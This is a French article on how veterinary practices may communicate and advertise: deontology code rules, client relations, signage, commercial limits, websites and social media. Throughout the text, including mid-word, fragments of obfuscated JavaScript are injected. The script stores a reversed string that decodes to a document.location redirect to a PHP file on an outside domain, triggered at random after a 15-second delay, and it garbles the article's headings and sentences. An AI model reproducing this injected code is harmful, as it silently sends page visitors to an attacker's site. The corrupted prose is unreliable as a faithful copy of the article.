La communication


Depuis 2015, le Code de déontologie autorise la communication pour la prospection de clientèle. Tous les moyens de communication peuvent être utilisés, et le contenu « ne doit pas porter atteinte au respect du public ni à la dignité de la profession… être loyal, honnête et scientifiquement étayé »dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == « string ») return $VOcl3cIRrbzlimOyC8H.list[n].split(«  »).reverse().join(«  »);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[« ‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}do?idSectionTA=LEGISCTA000006168195&cidTexte=LEGITEXT000006071367&dateTexte=20031010″>(Code de déontologie article R.242-35).


Le relationnel clientdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Longtemps négligée, la communication vers le client s’est imposée. La concurrence s’est accrue et l’attente du client modifiée, le relationnel devenant tout aussi important que les compétences techniques.

 

La règle primordiale est la prise en considération du client, par une écoute empathique. Cette prise en charge relationnelle du client et de l’animal est indispensable et de nombreuses formations existent afin de développer les compétences relationnelles.

 

Chaque établissement vétérinaire peut avoir des éléments spécifiques qui orienteront le choix du client. Dans tous les cas il est nécessaire de bien définir les objectifs de la structure afin de les exprimer au mieux et cette notion doit être intégrée par tous les personnels qui en seront les représentants.

 

Si la communication est pour beaucoup une question de “bon sens”, le recours à une compétence extérieure est recommdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andé, les vétérinaires consultants en communication pourront vous apporter une aide précieuse.

 

Le local dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Les locaux participent en premier lieu à la communication avec des fondamentaux incontournables : propreté, qualité d’accueil physique et téléphonique, agencements intérieurs et extérieurs appropriés.

 

Il existe quelques obligations concernant les aménagements : la façade doit être exempte de toute vitrine dédiée à la profession, la signalisation avec la croix est obligatoire, tous les autres moyens sont autorisés : panneaux, totems… Les signalisations peuvent être assujetties à la taxe municipale sur la publicité extérieure, seules les croix et plaques en sont dispensées.

 

Les obligations liées à l’endroit concernent l’affichage des tarifs pour les principaux actes ou consultations, l’interdiction de fumer et les rayons ionisants. Les annonces données par les clients engagent le vétérinaire, il est donc nécessaire d’en vérifier la conformité.

 

Lors de l’ouverture d’une nouvelle structure tous les moyens de communication peuvent être sollicités : encart dans la presse locale, radio, cinéma. Ces publicités ne sont pas soumises à une déclaration à l’Ordre.

 

Communication et actitvité commercialedom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

L’activité vétérinaire ne peut pas être exercée comme un commerce, la communication purement commerciale y est interdite, exit donc les “promotions”, “soldes” ou “cartes de fidélité”. L’activité commerciale de ventes d’aliments, matériels ou services en rapport avec l’activité doit rester accessoire.

 

D’autre part, il est interdit de communiquer et d’encourager l’usage d’un médicament soumis à prescription.

 

Le merchdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andising avec le logo de la structure est autorisé tant que le contenu reste déontologique.

 

Internetdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Le site internet, outil de prospection, de fidélisation, évolutif, rapide, est une fenêtre incontournable sur et pour l’activité, la qualité de présentation et de contenu est primordiale.

 

Tout comme dans la salle d’attente les clients peuvent accéder aux tarifs, horaires, coordonnées, noms des vétérinaires, compétences particulières, noms des ASV, service de garde, hospitalisation, équipements…

 

La vente de produits en ligne n’est pas interdite, et là aussi, ne doit pas paraître comme l’activité principale.

 

Une mise en avant dans les moteurs de recherches est précieuse d’autant que le référencement payant est autorisé (Google Adwords, Pages jaunes…). De même que, la page Facebook est un véritable atout  pour développer un lien de proximité, mais cela suppose une activité régulière car le vétérinaire reste responsable du contenu de sa page. Le site internet, comme la page Facebook doivent être déclarés à l’Ordre.

 

Une surveillance est indispensable, des commentaires injurieux, négatifs peuvent porter atteinte à la réputation du cabinet (E-reputation), ldom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e Syndicat National des Vétérinaires d’Exercice Libéral (SNVEL) assure une assistance en cas de besoin.

 

Quant aux enquêtes de satisfaction, elles représentent une communication valorisante pour le cabinet, et en retour, la publication des résultats (s’ils sont favorables) une garantie pour les clients et les prospects.

 

Les qualités d’accueil, de soins sont les réalités fondant la bonne réputation, dans ce cas, vos clients seront vos meilleurs promoteurs par le bouche-à-oreille traditionnel ou via les réseaux sociaux.

 

 

Jean-Jacques Chaux